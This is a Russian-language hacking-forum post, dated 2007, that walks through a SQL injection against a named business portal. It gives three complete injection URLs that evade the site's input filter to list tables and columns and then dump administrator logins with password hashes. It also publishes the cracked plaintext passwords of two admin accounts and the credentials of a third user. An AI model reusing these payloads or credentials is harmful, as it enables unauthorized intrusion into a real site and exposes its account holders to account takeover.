Показать сообщение отдельно

  #2  
Старый 20.09.2007, 15:14
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами: 9999746

Репутация: 1318


По умолчанию

www.rusbiz.ru

Ресурс представляет из себя многоотраслевой портал с электронной торговой площадкой. Основной целью портала является содействие компаниям малого и среднего бизнеса в расширении сфер своей деятельности, увеличении объемов продаж, нахождении новых деловых связей за рубежом и проведении бизнес сделок через Интернет. Всё бы хорошо, но... Банальный SQL-Injection в параметре servid.

Получаем список таблиц:
Цитата:
http://www.rusbiz.ru/service_description.html?servid=-66'/**/UNION/**/SELECT/**/1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/LIMIT/**/X,1/*&categid=19
Получаем список полей в заданной таблице:
Цитата:
http://www.rusbiz.ru/service_description.html?servid=-66'/**/UNION/**/SELECT/**/1,TABLE_NAME,3,COLUMN_NAME,5,6,7,8,9,10,11,12,13,1 4,15,16,17,18,19,20,21/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME/**/IN/**/('XXX')/**/LIMIT/**/X,1/*&categid=19
* Обратите внимание на использование /**/ вместо стандартных вариантов представления пробела... Это вызвано тем, что фходной параметр фильтруется (хоть и криво). Фильтрация делает невозможным использование %20 или + в качестве пробела, также фильтруется =, поэтому пришлось воспользоваться операцией IN.

Из интересных таблиц имеем USER и forum_user, но форум по техническим причинам отключён, поэтому дело будем иметь только с первой таблицей. Таблица имеет такую структуру:
  • password - пароль аккаунта в md5
  • user_group - группа аккаунта (может быть user, admin и т.д.)
  • blocked - активированный аккаунт или нет
  • lastlogin - время последнего посещения

Начнём вторжение в святая святых:
Цитата:
http://www.rusbiz.ru/service_description.html?servid=-66'/**/UNION/**/SELECT/**/1,CONCAT_WS(0x3a,login,password),3,4,5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20,21/**/FROM/**/USER/**/WHERE/**/user_group/**/LIKE/**/'%admin%'/**/LIMIT/**/X,1/*&categid=19
По данному запросу возвращается две записи pol и systemuser. Это два админских аккаунта.

Пароли свёрнуты в md5:

pol:890a09778691261d1e1e7c65f6101d3c
systemuser:972c97bdc47dfc8def0e74c55da0bbfd


В помощь Джон и через пару секунд:

pol:51619
systemuser:explore


Ну чтож... Админы никогда не научатся проявлять фантазию при задании паролей от критических ресурсов... Должен заметить, что половина базы снимается одним проходом по словарю и прямым брутом по 0...9 в длине 8 символов.

Не знаю как быстро прикроют эту багу, ибо такое впечатление, что там админ в онлайне... Но в доказательство приведу ещё один аккаунт:

green:1604
 
Ответить с цитированием